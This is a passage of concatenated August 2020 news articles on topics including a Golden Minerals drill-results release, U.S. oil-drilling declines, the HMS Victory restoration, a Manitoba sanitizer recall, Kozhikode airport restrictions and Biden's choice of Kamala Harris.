has called home since school and that the 200 or more campaign telephone calls she makes each day have shown her a different San Francisco from the one Wiener represents. Im talking to people who have never been contacted by a campaign, she said. Im reaching people who have been left behind in the district. Its the fundamental job of a political system to be responsible for those people, Fielder added. She said shes running because the Democratic supermajority (in the Legislature) cant find the backbone to take on the wealthiest taxpayers and corporations. John Wildermuth is a San Francisco Chronicle staff writer. Email: jwildermuth@sfchronicle.com Twitter: @jfwildermuth Rodeo Drill Hole Locations Rodeo Drill Hole Locations Rodeo Drill Hole Locations GOLDEN, Colo., Aug. 11, 2020 (GLOBE NEWSWIRE) -- Golden Minerals Company (Golden Minerals, Golden or the Company) (NYSE American and TSX: AUMN) today announced it has received positive assay results from the first nine diamond drill holes of its in-fill resource definition drill program at the Rodeo gold-silver project located in Durango State, Mexico. Each of the first nine diamond drill holes intersected wide zones of near-surface gold mineralization. Drill hole depths averaged 50 meters and were drilled at a 60-degree angle to the southeast. Mineralized material consists of highly silicified epithermal veins and breccias hosted in felsic volcanic rocks. Significant results are summarized in the table below, and complete results are available on the Company website. [link] Drill Hole ID From (m) To (m) Interval (meters) Au (g/t) Ag (g/t) RDO_20_001_M* 0 45 45 1.85 10.7 including 7.31 36.8 29.44 2.59 13.4 including 19.15 32.4 13.23 4.04 19.9 RDO_20_002 0 35 35 2.18 7.3 including 9.6 19.5 9.9 4.21 5 including 24.61 35 10.39 2.44 17.2 RDO_20_003_M* 0 40 40 3.23 10.8 including 9.15 22.1 12.95 6.86 15.8 including 28.1 39 10.85 2.62 14.9 RDO_20_004 0 50 50 1.27 8.2 including 12 21.2 9.18 3.33 2.7 RDO_20_005_M* 0 40 40 3.78 17.8 including 3.9 27.3 23.4 5.96 19.8 RDO_20_006 0 30 30 3.06 9.1 including 3 18.5 15.5 5.21 10.4 including 3 11.1 8.11 7.55 11.1 RDO_20_007 0 50 50 0.76 3 including 18.7 25.9 7.2 3.36 6.9 RDO_20_008 0 40 40 2.95 10.4 including 7.9 28.4 20.5 5.13 15.2 including 15.4 25 9.6 7.23 23.6 RDO_20_009 0 45 45 1.51 5.6 including 7.75 28 20.25 2.67 5.5 including 14.75 28 13.25 3.32 7.1 Note: Intervals in the table represent drilled length. It is expected that true thickness is approximately 80% of drilled length as drill holes were drilled perpendicular to the gold mineralization that dips at approximately 25 degrees to the northeast. * Drill holes 001M, 003M and 005M were drilled with PQ drill-core to collect samples for metallurgical test work. Remaining drill holes were drilled with HQ drill-core. The objectives of the drill program are to provide greater detail on the gold mineralization at Rodeo by infill drilling and to provide additional material for metallurgical and geotechnical test work. Confirmation of continuity of the gold grades in the heart of the deposit is an important step towards the future development of the Rodeo project outlined in the recent Preliminary Economic Assessment published on May 28, 2020 ( link ). Story continues Warren Rehn, President and Chief Executive Officer of Golden Minerals, commented, "We are pleased with the initial drill results as they confirm the previously reported grades and modeled continuity of the deposit. We are particularly excited about drill hole 002, as this appears to indicate that there is good opportunity to expand the high-grade mineralization to the southwest, further supporting the potential development of the project. Rodeo Drill Hole Locations is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/99bf9361-6a96-4d1b-b051-a79c5d023e8b About Rodeo Rodeo is an 1,866-hectare gold project located in Durango State, Mexico approximately 80 kilometers west of the Company's Velardena Properties and processing mills. Golden acquired the Rodeo property subject to a royalty interest due to La Cuesta International in the second quarter 2015, prior to which exploration by other companies identified a gold-bearing system exposed at surface. Golden conducted a 2,080-meter core drilling program in 2016 and outlined a potentially open pit minable, high-grade resource as reported in a NI 43-101 Technical Report dated January 26, 2017: Classification Cut-off Tonnes (Mt) Au g/t Ag g/t Au (Koz) Ag (Koz) Indicated 0.83 0.4 3.3 11 46 200 Notes: (1) Cut-off grade and Au equivalent calculated using metal prices of $1,220 and $17 per troy ounce of Au and Ag, recoveries of 77% and 90% Au and Ag; (2) Mineral resources have been pit-shell constrained using the Lerch Grossman algorithm with cost inputs per tonne of $7.50 mining, $10 trucking and $20 processing. A breakeven cut-off including trucking and processing costs per block was applied to a block model within the optimized shell; (3) Metal prices do not exceed three-year trailing average as of the end of December 2016, per SEC guidance; and (4) Reported indicated mineral resources are equivalent to mineralized material under SEC Industry Guide 7. Cautionary Note to United States Investors Regarding Estimates of Indicated Mineral Resources This press release uses the terms "mineral resources" and "indicated mineral resources" which are defined in, and required to be disclosed by, Canadian National Instrument NI 43-101 (NI 43-101). We advise U.S. investors that these terms are not recognized under SEC Industry Guide 7. Accordingly, the disclosures regarding mineralization in this news release may not be comparable to similar information disclosed by Golden Minerals in the reports it files with the SEC. The estimation of measured resources and indicated resources involves greater uncertainty as to their existence and economic feasibility than the estimation of proven and probable reserves. U.S. investors are cautioned not to assume that any or all mineral resources are economically or legally mineable or that these mineral resources will ever be converted into mineral reserves. In addition, the SEC normally only permits issuers to report mineralization that does not constitute SEC Industry Guide 7 compliant reserves as in-place tonnage and grade without reference to unit amounts. U.S. investors are urged to consider closely the disclosure in our Form 10-K for the year ended December 31, 2019 and other SEC filings. Review by Qualified Person and Quality Control The technical contents of this press release have been reviewed by Matthew Booth, a Qualified Person for the purposes of NI 43-101. Mr. Booth has over 17 years of mineral exploration experience and is a Qualified Person member of the American Institute of Professional Geologists (CPG 12044). To ensure reliable sample results, Golden Minerals uses a quality assurance/quality control program that monitors the chain of custody of samples and includes the insertion of blanks, duplicates and reference standards in each batch of samples. Core is photographed and sawn in half with one half retained in a secured facility for verification purposes. Sample preparation (crushing and pulverizing) is performed at an independent ISO 9001:2001 certified laboratory in Chihuahua or Zacatecas, Mexico. Prepared samples are direct-shipped to an ISO 9001:2001 certified laboratory in Canada. About Golden Minerals Golden Minerals is a Delaware corporation based in Golden, Colorado. The Company is primarily focused on advancing its Rodeo and Velardena properties in Mexico and, through partner-funded exploration, its El Quevar silver property in Argentina, as well as acquiring and advancing mining properties in Mexico, Argentina and Nevada. Forward-Looking Statements This press release contains forward-looking statements within the meaning of Section 27A of the Securities Act of 1933, as amended and Section 21E of the Securities Exchange Act of 1934, as amended, and applicable Canadian securities legislation, including statements regarding expectations surrounding the geologic potential of the Rodeo project. These statements are subject to risks and uncertainties, including the reasonability of the economic assumptions at the basis of the results of the Rodeo project Preliminary Economic Assessment and technical report; changes in interpretations of geological, geostatistical, metallurgical, mining or processing information; and interpretations of the information resulting from exploration, analysis or mining and processing experience. Golden Minerals assumes no obligation to update this information. Additional risks relating to Golden Minerals may be found in the periodic and current reports filed with the SEC by Golden Minerals, including the Companys Annual Report on Form 10-K for the year ended December 31, 2019. For additional information please visit http://www.goldenminerals.com/ or contact: Golden Minerals Company Karen Winkler, Director of Investor Relations (303) 839-5060 SOURCE: Golden Minerals Company The sun is seen behind a crude oil pump jack in the Permian Basin in Loving County, Texas, on Nov. 22, 2019. (Angus Mordant/Reuters) Oil & Gas Recovery Slows as Drilling Dips, Service Job Losses Rise New drilling permits, oilfield service jobs hit ten-year lows, experts say A report released Tuesday by Norwegian energy consultants Rystad Energy indicates that new horizontal drilling permits across the United States dipped to a 10-year low in July, with the sector unlikely to recover this year. In addition, Rystads analysis of the top 50 oilfield service (OFS) firms shows staff levels in the sector also fell to their lowest level in 10 years as activities continue to decrease and companies strive to maintain their levels of revenue per employee. The CCP (Chinese Communist Party) virus has decimated demand for petrochemical products in 2020, hitting smaller fracking companies and oilfield service providers particularly hard. Drilling Permits at New Lows According to Rystad Energy, only 454 permits were awarded in July in the United States for horizontal drillingthe lowest level since September 2010. However, monthly numbers of permits in 2010 reflected an industry on the rise: Over 1,000 permits were issued every month from early 2017 through to the beginning of 2020. Drilling permit awards are not usually viewed as a reliable predictor of future drilling activity by the industry, as companies tend to hold an inventory of permits to facilitate their response to market conditions. However, the Rystad report indicates that the majority of producers have responded to the market downturn by cutting any avoidable costsincluding obtaining new permits. This signals the continuity of reduced activity levels throughout the remainder of 2020 at the current strip prices, said Artem Abramov, head of shale research at Rystad Energy in a statement. Unless WTI oil prices move towards $50 per barrel in the next few weeks, a rig activity rebound is unlikely before the first half of 2021. Rig Count Drops in July Rig count data from Baker Hughes shows that the number of horizontal oil rigs across the United States has declined 75 percent from its peak of 620 in March 2020, Rystad Energy states, averaging 150 to 160 throughout July. Horizontal gas wells are down 62 percent from the same period in 2019. The highly productive Permian Basin of west Texas and southeastern New Mexico now makes up 78 percent of total onshore oil rigs, up from 62 percent at the start of the year. On a geographic basis, half of all oil producing counties are now in the Permian Basin. Cost Cutting, Job Losses The Petroleum Equipment & Services Association (PESA) reported on Monday that while the U.S. economy had added 1.8 million jobs in July, preliminary data from the Bureau of Labor Statistics suggest that OFS employment had fallen by over 9,000 jobs, with total pandemic-related oilfield job losses estimated at almost 100,000. Over 59,000 of those jobs had been lost in Texas alone, according to PESA. A Rystad Energy report released Tuesday analyzes the top 50 oilfield service firms, and shows that staffing levels are expected to reach their lowest levels in over 10 years by the end of 2020. According to the report, the last oil market downturn in 2016 led OFS companies to trim staffing levels, which had since been kept relatively low. However, downsizing in 2020 at companies like Halliburton, Schlumberger, and Baker Hughes is likely to see staff numbers drop by up to 150,000 to around 610,000 employees. Paul Putnam, 53, a rancher and independent contract pumper walks past a pump jack in Loving County, Texas on Nov. 25, 2019. (Angus Mordant/Reuters) OFS employment is now heading for the lowest numbers in the past decade as the COVID-19 pandemic continues to impact ongoing work and the frequency of new awards, both of which could take years to fully recover, said Rystad energy analyst, Lein Mann Hansen. Rystad reports that oil prices of $100 per barrel see OFS companies earn $300,000 or more per employee, though this dropped as low as $250,000 during the 2016 downturn. As revenues have fallen faster than headcounts in the wake of the CCP virus crisis, this level could be approached again, the report says. For example, Schlumberger announced plans to lay off 21,000 employeesor 20 percent of its workforcethis year, while the company expects revenues to decline by up to 25 percent this year in comparison to 2019. Though down by around 7 percent on last years levels, the company should still take in revenues of around $290,000 per employee, the report calculates. Himachal Pradesh Congress Committee president Kuldeep Singh Rathore on Tuesday accused the state government of protecting land mafia. He asked chief minister Jai Ram Thakur to clarify the situation and order a high-level investigation into the matter. In a statement issued here, Rathore said under the influence of state government land of poor people is being sold at cheaper rates to outsiders on the pretext of lease. He said it is clear by the manner land is purchased by outsiders at the states tourist places on the pretext of leasing. A big mafia is active in the state which is looting innocent people, he added. Rathore alleged that land mafia, liquor mafia, mining mafia and transfer mafia are very active in the state and innocent people are being robbed. He said the Congress will not tolerate any kind of tampering with Section 118 of Himachal Pradesh Tenancy and Land Reforms Act 1972. The land should not be sold to outsiders at any cost neither should outsiders be permitted to purchase land as per Section 118, he said. There have been multiple new developments in the Sushant Singh Rajput Death probe. Rhea Chakraborty and her relatives have had many of their devices confiscated for forensic investigation, and Rhea Chakraborty's Supreme Court hearing had begun, where her lawyer has said that she is being framed and victimised. There have multiple new developments in the Sushant Singh Rajput case. Firstly, Rhea Chakrabortys Supreme Court hearing has begun. Judge Hrishikesh Roy is hearing the case in courtroom 8. As of now, Chakrabortys lawyer has argued that the Patna FIR has no connection the case, and that the Bihar police should have transferred the case. He says that it was an FIR without jurisdiction. Counsel has also said that Sushant Singh Rajputs high profile relatives are being used to frame Rhea Chakraborty, and that she has been victimised and framed. The hearing is currently on going. At the same time, Rhea Chakraborty has been questioned by the Enforcement Directorate (ED) on the money laundering suspicion of the SSR death probe. Her mobile was confiscated by the ED, and taken for investigation, which has revealed some surprising facts. The ED has actually seized two mobiles of Rhea, one mobile of her brother Showik Chakraborty and one mobile of her father Indrajit Chakraborty. Their laptops and tabs have also been confiscated by the ED. The investigation of Rheas devices revealed that after June 8, Rhea had been in contact with Mahesh Bhatt, and she had tried to levy her industry connections to get some journalists to do positive stories about her. Rhea Chakraborty and brother Showik have both failed to explain the discrepancy between their ITRs and their bank accounts. At the same time, the ED is also questioning Sushant Singh Rajputs former manager Shruti Modi and his flatmate Siddharth Pithani. Also Read: Bulandshahr road mishap: US scholar dies after alleged eve-teasing, Mayawati demands action Also Read: Considering restoration of 4G internet services in J&K on trial basis: Centre tells SC Sushant Sigh Rajputs death case is being investigated by the Central Bureau of Investigation (CBI) and they recently recorded the statements of Sushants father and his sister. Also Read: PM Modi chairs Covid-19 review meeting with CMs The U.S. Secret Service abruptly escorted President Donald Trump out of the White House press room in the middle of a briefing on Monday because of a shooting outside the White House. Trump returned to the media room several minutes later and said a person had been shot by law enforcement and taken to the hospital. He said he understood the suspect had been armed. "It was a shooting outside of the White House," Trump said. "It seems to be very well under control. ... But there was an actual shooting, and somebody has been taken to the hospital. I don't know the condition of the person." He said the shooting was near the fence at the edge of the White House grounds. The Secret Service said in a tweet "the investigation into a USSS officer involved shooting is ongoing. A male subject and a USSS officer were both transported to a local hospital. At no time during this incident was the White House complex breached or were any protectees in danger." The doors to the White House briefing room were locked shortly before Trump was escorted out. Nobody else was wounded in the shooting, Trump said. He praised the Secret Service response and said the agency would have more details on the event later. "There were no details - we just found out just now," Trump told reporters. The president had been speaking about the stock market when a Secret Service agent interrupted him at the podium only minutes into the briefing. Treasury Secretary Steven Mnuchin and Office of Management and Budget Director Russ Vought were also taken out of the room. Trump told reporters he had been taken to the Oval Office, which is in the West Wing near the briefing room, after he was escorted out. Also read: Chinese Foreign Ministry issues sanctions against 11 US politicians, heads of organisations Advertisement For the first time in 100 years, Lord Nelson's flagship HMS Victory will be viewable from below - thanks to the installation of 134 metal props and the completion of an under-hull walkway. The support structure, which will also replicate the 3,600-tonne vessel being at sea, comes as part of a 13-year renovation project costing 35million. Visitors will able to descend into the base of the ship at Portsmouth Historic Dockyard following its unveiling on August 24, when both the ship and dockyard are set to reopen after coronavirus lockdown measures are eased. It may just give the public a sense of what it must have been like on board the vessel in which Nelson famously fought, and defeated, the Spanish and French fleets during the Battle of Trafalgar in 1805. The National Museum of the Royal Navy and BAE Systems described the under-hull walkway as a 'major milestone' in the ship's renovation when it began collapsing under its own weight, the BBC reported. Structural engineers noticed four years ago that HMS Victory was slowly falling backwards, away from the bowsprit - the ship's front end - and water was getting into the hull. It required 134 metal props to be fitted due to the historic vessel's deck sinking towards its keel (a ship's backbone) by a fifth of an inch (0.5cm) each year. For the first time in 100 years, Lord Nelson's flagship HMS Victory will be viewable from below - thanks to the installation of 134 metal props (pictured) and the completion of an under-hull walkway The support structure, which will also replicate the 3,600-tonne vessel being at sea, comes as part of a 13-year renovation project costing 35million Structural engineers noticed four years ago that HMS Victory was slowly falling backwards, away from the bowsprit - the ship's front end - and water was getting into the hull. It required 134 metal props to be fitted due to the historic vessel's deck sinking towards its keel (a ship's backbone) by a fifth of an inch (0.5cm) each year Visitors will able to descend into the base of the ship at Portsmouth Historic Dockyard following its unveiling on August 24, when both the ship and dockyard are set to reopen after coronavirus lockdown measures are eased A contractor inspects the stern of HMS Victory as she is 'afloat' again for the first time in 100 years as a state-of-the-art support system is unveiled at Portsmouth Historic Dockyard Above, a section of the keel and rudder of HMS Victory, which has been sitting in a dry dock in Portsmouth since 1922. It was initially supported by 22 steel cradles positioned six metres apart - but these have now been replaced by the props The props will monitor the ship's weight distribution and 'mimic the variable pressures of the sea' and provide 'early warning of faults or weaknesses', the museum and BAE added. HMS Victory, which has been sitting in a dry dock in Portsmouth since 1922, was initially supported by 22 steel cradles positioned six metres apart - but these have now been replaced by the props. In 2016, visitors to the HMS Victory were able to walk around Nelson's cabin for the first time, thanks to the major refurbishment project. It meant they could ascend onto the Poop Deck to view Victory's surroundings in the Portsmouth Historic Dockyard, walk around Nelson's Great Cabin as well as see Captain Hardy's Cabin displayed for the first time as a working captain's accommodation. On the Orlop Deck, the area was simplified to prevent over-sentimentalising the legend of Nelson, with the Devis painting of 'The Death of Nelson' removed for conservation and display off the ship. Another new area at the time was a carpenters store where visitors could learn about the toll the Battle of Trafalgar had on Nelsons flagship. The length of the visitor route was increased by an estimated 80 per cent thanks to the 2016 revamp. The current HMS Victory was launched in 1759 and commissioned in 1778. It was used in two battles on the French island of Ushant in 1778 and 1780 as well as the battle of Cape St Vincent near Portugal in 1797. Above, the props - which will monitor the ship's weight distribution and 'mimic the variable pressures of the sea' and provide 'early warning of faults or weaknesses' The National Museum of the Royal Navy and BAE Systems described the under-hull walkway - which will be unveiled to the public on August 24 - as a 'major milestone' in the ship's renovation The finishing touches to HMS Victory were made 247 years ago in Chatham Dock before she set to sea and went on to cover herself in glory at the Battle of Trafalgar. The ship was launched in 1765 at a cost of 63,176 in modern-day figures - the equivalent to building an aircraft carrier. She was built from 6,000 trees, 90 per cent of which were oak - the equivalent of 100 acres of woodlands. HMS Victory has 37 sails flown from three masts and it would carry 23 spare sails during battle. The total sail area is 6,510 square yards - and her top speed was 11 knots, or 12mph. The vessel served for a total of 47 years - a period of time seldom matched by any modern warship. The HMS Victory currently in dry dock in Portsmouth is the sixth ship to bear the name after five previous ships did so. Of these, the first two were broken up and rebuilt, two were destroyed by fire and the fifth sank in 1744. The current HMS Victory was launched in 1759 and commissioned in 1778. It was used in two battles on the French island of Ushant in 1778 and 1780 as well as the battle of Cape St Vincent near Portugal in 1797. However its decisive role came in the Battle of Trafalgar in 1805, under the captaincy of Vice-Admiral Nelson who was fatally wounded on board during the conflict. The ship was taken out of service in 1812 and remained in Portsmouth Harbour until 1922, when it was moved into the Royal Naval Dockyard amid fears for its deteriorating condition. HMS Victory: Lord Nelson's flagship during Britain's victory over the French at the Battle Of Trafalgar HMS Victory first floated out from the Old Single Dock in Chatham's Royal Dockyard on May 7 1765. During 206 years in service she would gain recognition for leading fleets in the American War of Independence, the French Revolutionary War and the Napoleonic War. HMS Victory in its dry dock in Portsmouth, where it is viewed by thousands of visitors each year HMS Victory is renowned for being the flagship of Vice-Admiral Horatio Nelson, Britain's most celebrated naval leader, fighting in the defeat of the French and the Spanish at the Battle of Trafalgar in 1805. However, her service was not to end here - in 1808 she was recommissioned to lead the fleet in the Baltic, but four years later she was relegated to harbour service - serving as a residence, flagship and tender providing accommodation. In 1922 she was saved for the nation and placed permanently into dry dock where she remains today, visited by 25 million visitors as a museum of the sailing navy and the oldest commissioned warship in the world. Source: Royal Navy National Museum Advertisement During the Battle of Trafalgar, Nelson (above) attacked the Combined Fleet line head on - and sailed perpendicular towards the fleet, exposing the British to heavy fire The epic sea clash off Cape Trafalgar that laid foundations for Britain's global power - and claimed the life of Lord Admiral Nelson Fought on October 21, 1805, the Battle of Trafalgar is one of history's most epic sea clashes. Not only did it see Britain eliminate the most serious threat to security in 200 years, but it also saw the death of British naval hero Admiral Lord Nelson. This was not before his high-risk, but acutely brave strategy won arguably the most decisive victory in the Napoleonic wars. Nelson's triumph gave Britain control of the seas and laid the foundation for Britain's global power for more than a century. Despite signing a peace treaty in 1803, the two nations were at war and fought each other in seas around the world. After Spain allied with France in 1804, the newly-crowned French emperor Napoleon Bonaparte had enough ships to challenge Britain. In October 1805, French Admiral Pierre-Charles Villeneuve led a Combined French and Spanish fleet of 33 ships from the Spanish port of Cadiz to face Nelson and Vice Admiral Cuthbert Collingwood. Nelson, fresh from chasing Villeneuve in the Caribbean, led the 27-ship fleet charge in HMS Victory, while Vice Admiral Collingwood sailed in Royal Sovereign. Battles at sea had until then been mainly inconclusive, as to fire upon the opposing ship, each vessel had to pull up along side one another (broadside) which often resulted in equal damage. Nelson bucked this trend by attacking the Combined Fleet line head on - and sailed perpendicular towards the fleet, exposing the British to heavy fire. He attacked in two columns to split the Combined Fleet's line to target the flagship of Admiral Villneuve. 11. 30am Lord Nelson famously declared that 'England expects that every man will do his duty', in reference to the command that the ships were instructed to think for themselves. The captains had been briefed on the battle plan three weeks before, and were trusted to bravely act on their own initiative and adapt to changing circumstances - unlike their opponents who stuck to their command. Vice Admiral Cuthbert Collingwood led the first column and attacked the rear of the line, and broke through. Nelson sailed directly for the head of the Combined Fleet to dissuade them from doubling back to defend the rear. But before he reached them, he changed course to attack the middle of the line - and Villeneuve's flagship. Speeding toward the centre of the line, HMS Victory found no space to break through as Villeneuve's flagship was being tightly followed - forcing Nelson to ram through at close quarters. In the heat of battle, and surrounded on three sides, Nelson was fatally shot in the chest by a well-drilled French musketeer. The Combined Fleet's vanguard finally began to come to the aid of Admiral Villeneuve, but British ships launch a counter-attack. Admiral Villeneuve struck his colours along with many other ships in the Combined Fleet and surrendered. 4.14pm HMS Victory Captain Thomas Masterman Hardy dropped below deck to congratulate Nelson on his victory. 4.30pm With the knowledge he has secured victory, but before the battle had officially concluded, Lord Nelson died. 5.30pm French ship Achille blew up signalling the end of the battle - in all 17 Combined Fleet ships surrendered. ... so did Nelson really say 'Kiss me, Hardy' with his dying words? By RICHARD CREASY for the Daily Mail (in an article from 2007) It was Britain's greatest naval victory and for more than 200 years historians have analysed every detail. Now, amazingly, a new eye-witness account of the Battle of Trafalgar has emerged during a house clear-out. It gives not only a first-hand view of proceedings from the lower decks but also a different interpretation of one of history's most enduring arguments - Admiral Lord Nelson's dying words. Robert Hilton was a 21-year-old surgeon's mate on HMS Swiftsure, a 74-gun ship that played its part in the destruction of the French and Spanish fleets and of Napoleon's dream of invading England. It was 13 days later, after Swiftsure had made it through gales to Gibraltar for repairs that Hilton took up his pen and wrote a nine-page letter home on November 3, 1805. In it he says Nelson's last words, relayed to his ship's company from Nelson's flag captain, Captain Hardy, were: 'I have then lived long enough.' Many people believe Nelson said: 'Kiss me Hardy.' But historians rely on his surgeon's reports that he said: 'Thank God I have done my duty.' The Manitoba Liberals want answers from the provincial government after a Health Canada recall has left the government on the hook for $1.2 million worth of hand sanitizer. Hey there, time traveller! This article was published 10/8/2020 (526 days ago), so information in it may no longer be current. The Manitoba Liberals want answers from the provincial government after a Health Canada recall has left the government on the hook for $1.2 million worth of hand sanitizer. The province signed a contract for $1,206,000 worth of hand sanitizer from a Manitoba vodka distiller based in Springfield, Man. 204 Spirits Inc. in April, according to a press release from the Manitoba Liberal Caucus. The company had converted from distilling alcohol to producing hand sanitizer at the beginning of the pandemic when demand was high and supply from the usual producers couldnt keep up. In April, Health Canada had acknowledged that there was a shortage of pharmaceutical- and food-grade ethanol and they were temporarily allowing companies to use technical-grade ethanol in alcohol-based hand sanitizers. But the technical-grade ethanol had to be purchased from a Health Canada approved manufacturer, and the producers needed to receive a "no objection" letter from Health Canada before proceeding. However, on Aug. 4, Health Canada issued a recall advisory stating that 204 Hand Sanitizer was being recalled because the product was sold "without market authorization." The product also failed to meet Health Canadas packaging requirements that list risk statements associated with medical products. On Health Canadas website theyve advised that this is a more widespread concern as a number of similar products across the country failed to meet requirements. "Certain hand sanitizers containing technical-grade ethanol are being recalled from the market because they are not compliant with federal regulations and may pose a risk to health," the website says. JESSE BOILY / WINNIPEG FREE PRESS Health Minister Cameron Friesen said Monday he was aware of the recall and any product that needs to be taken out of circulation will be. Health Canada is advising the public that if theyve purchased 204 Hand Sanitizer or a similar product on their list (found at healthycanadians.gc.ca), they stop using the product and speak with a healthcare professional if theyve experienced health concerns since using the product. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Health Minister Cameron Friesen said Monday he was aware of the recall and any product that needs to be taken out of circulation will be. "We really marshaled resources to get the materials that we would need for COVID-19. And certainly there was no one criticizing the effort to bring into jurisdiction masks and gowns and sanitizing sprays that we would need in our system. We have a better stockpile now in our system than we did three months ago and that is thanks to the efforts of a bunch of heroes who went to work to get that here," Friesen said. The government is facing criticism for the move from the Liberal caucus, as Liberal Leader Dougald Lamont says this botched purchase is emblematic of the provinces response to the COVID-19 pandemic. "The PCs approach to this pandemic has been incredibly reactive and this shows that cutting corners costs more in the long run," said Lamont. A request for comment from 204 Spirits Inc. was not answered before deadline. sarah.lawrynuik@freepress.mb.ca With the companys studio business playing a crucial part in its overall content ecosystem and contributing to near 50% average revenue growth since the firm's inception, ViacomCBS International Studios (VIS) has appointed Kate Laffey as its new vice president. Laffey previously served as vice president of acquisitions at Cineflix Medias UK-based distribution arm, Cineflix Rights, where she played a first-hand role in expanding the companys third-party content offerings. Prior to that position, Laffey served as a senior acquisitions executive at ITV, where she was responsible for acquiring scripted and non-scripted content from third party producers, while also overseeing third party development and first look deals.Effective immediately and based in London, Laffey (pictured) will report to Pierluigi Gazzolo, president, studios and streaming, ViacomCBS Networks International.With direct oversight of all international studio development, production and commercial for VIS centrally, Laffeys primary focus will be on growing VIS global studio footprint in all regions internationally. She will collaborate closely with the companys domestic and cluster studio leads by sourcing the best local hits and expanding them globally to create a unified global business.One of Laffeys key responsibilities will be oversight of an expanded central team that will include international development and production and will lead VIS UKs scripted sourcing for export. She will also align closely with VIS tape sales division, led by Lauren Marriott, as the company continues to grow its business around the world.Commenting on the role, Gazzolo stated: The phrase content is king has never been more pertinent than in todays global streaming landscape, and I am confident that Kate will be a driving force in the evolution of our business for the future. Laffey added: As the company readies for the future, I see tremendous potential to grow its international formats business and capitalize on strategic opportunities to support VIS continued advancement. The lawsuit alleges that the consortium unlawfully planned to end its 36-year, public-private partnership with the state and allow its construction contractor to walk off the project Aug. 22 if no agreement was reached on a reported $755 million in unpaid expenses. The state has asked the court to rule on the rights and liabilities in the contract and to fine the consortium more than $75,000 for starting to pack up construction sites and trying to terminate the partnership. Despite safety concerns, the fresh decision of DGCA to suspend the operation of wide-bodied aircraft at Kozhikode international airport has triggered political resentment in Kerala. It was indeed following strong political pressure that permission was granted in 2018 for resuming operation of wide-bodied aircraft from the airport despite safety concerns. Some veteran aviation experts had expressed serious concerns over the move. Apart from the strong Gulf connection of Malappuram and Kozhikode districts, Kozhikode airport is also the hub of the Hajj pilgrimage from Kerala. IUML MP of Ponnani in Malappuram district E T Mohammed Basheer said that the present decision of DGCA seemed to be only a temporary measure. Many airlines like Saudi Airlines were only having wide-bodied aircraft and hence stopping service of wide-bodied aircraft from Kozhikode would badly hit the people and cargo movements from the region. He also said that wide-bodied aircraft service resumed at the airport in 2018 after safety clearance by DGCA as well as the respective airline as well. Congress MP of Kozhikode M K Raghavan also said that there would be no justification for stopping wide-bodied aircraft to the airport. It was in 2015 May that operation of wide-bodied aircraft from the airport was stopped citing runway re-carpeting. Concerns about the tabletop run was raised following the Mangalore crash also. Air India, Saudi Airlines, and Emirates airlines was then operating. But even after the recarpeting was over, DGCA refused to allow wide-bodied aircraft citing safety concerns. Kerala Chief Minister Pinarayi Vijayan said in the state Assembly in March 2017 that the state government was pressing for the operation of wide-bodied aircraft at Karippur airport. The civil aviation authorities were pressing for increasing the length of the runway to 3,400 metres from 2,850 metres as well as to increase the area of Runway End Safety Area. But the state was pressing to operate wide-bodied aircraft with the existing runway, which was possible, Vijayan had then said. In 2018 then Civil Aviation Minister Suresh Prabhu announced the resumption of permission for wide-bodies aircraft. "Calicut airport to become operational soon. DGCA has given the final approval today on commencing operations of A330 and B-777 wide-body aircraft of Saudi Arabian airlines in strict compliance with the mitigation measures to ensure the safety of operations," he had then tweeted. However, the length of the runway had to be later reduced to 2,700 metre for expanding the Runway End Safety Area. Even then wide-bodies aircraft continued to operate to Kozhikode. A veteran wing commander had even written to the Civil Aviation Ministry last year expressing serious safety concerns on allowing wide-bodies aircraft at Kozhikode. He said in the letter that political pressure should not compromise with flight security. Joe Biden has named his onetime rival Kamala Harris as his running mate, the campaign revealed Tuesday, elevating California's junior senator as the first woman of color to appear on a major party's presidential ticket. Harris, who centered her unsuccessful White House bid last year on a promise to "prosecute the case" against President Trump, was widely seen as a front-runner to be Biden's vice presidential pick. With her statewide experience as California attorney general and four years in the U.S. Senate, Harris was among the most conventionally qualified of the half-dozen or so women under consideration in the most diverse crop of contenders ever. "I need someone working alongside me who is smart, tough, and ready to lead. Kamala is that person," Biden wrote in an email to supporters Tuesday afternoon. The pair are scheduled to appear together for the first time as a presidential ticket in Wilmington, Del., on Wednesday. In many ways, Harris, 55, is a safe pick broadly popular in the Democratic Party and well acquainted with the rigors of a national campaign. But her selection also carries symbolic heft in this moment when race relations are at top of mind for voters, particularly since Harris, who is of Indian and Jamaican descent, had her own highly publicized confrontation with Biden over race during the primary. "Joe Biden can unify the American people because he's spent his life fighting for us. And as president, he'll build an America that lives up to our ideals," Harris tweeted. "I'm honored to join him as our party's nominee for Vice President, and do what it takes to make him our Commander-in-Chief." Despite her strengths, Harris' selection is not without risk, particularly if the race tightens. She was an inconsistent candidate in her own presidential run, and her record as a prosecutor has at times been a political millstone, particularly as attitudes on law enforcement and mass incarceration have dramatically shifted to the left. While Harris has more forcefully embraced criminal justice reform recently, she faces lingering distrust from some in the party's progressive faction, including younger voters of color who did not broadly embrace her candidacy. Story continues While the Trump campaign was quick to paint Harris as an out-of-touch liberal, the president himself appeared a bit subdued in reacting to the pick during a news conference Tuesday evening. He called her his "No. 1 one pick," but added that he was surprised by her selection because "she did very, very poorly in her presidential run and she had clashed with Biden during the primary. His fiercest criticism centered on Harris' grilling of Supreme Court Justice Brett M. Kavanaugh during his Senate confirmation hearing in 2018, one of several breakout moments she had as a new senator. "She was the meanest, the most horrible, the most disrespectful of anybody in the U.S. Senate" during the hearings, Trump said. Vice President Mike Pence, appearing at a campaign event at Mesa, Ariz., welcomed Harris to the race with a hint of sarcasm and boos from the crowd. "As you all know, Joe Biden and the Democratic Party have been overtaken by the radical left," he said. "So given their promises of higher taxes, open borders, socialized medicine, and abortion on demand, it's no surprise that he chose Sen. Harris." Pence and Harris will meet on the debate stage on Oct. 7 in Salt Lake City. Long considered a rising star in Democratic politics, Harris' ascent to the presidential ticket has the potential to position her as a future leader of the party, particularly given that, should Biden be elected president, he would be 78 years old when sworn in. Biden, himself a former vice president, said his choice of a running mate would be a "simpatico" governing partner and someone ready to assume the Oval Office on "a moment's notice." "Its overdue. Its tremendous," said Angela Rye, a Democratic political strategist and former executive director for the Congressional Black Caucus. "Kamala is not a stranger to making history, so it's poetic justice that shed be making history here." Rye, who had advocated for Biden to pick a Black woman, said the choice could also prove to be politically strategic by shoring up a constituency that is a must-win for Democrats, but often taken for granted. "Hopefully it signifies a 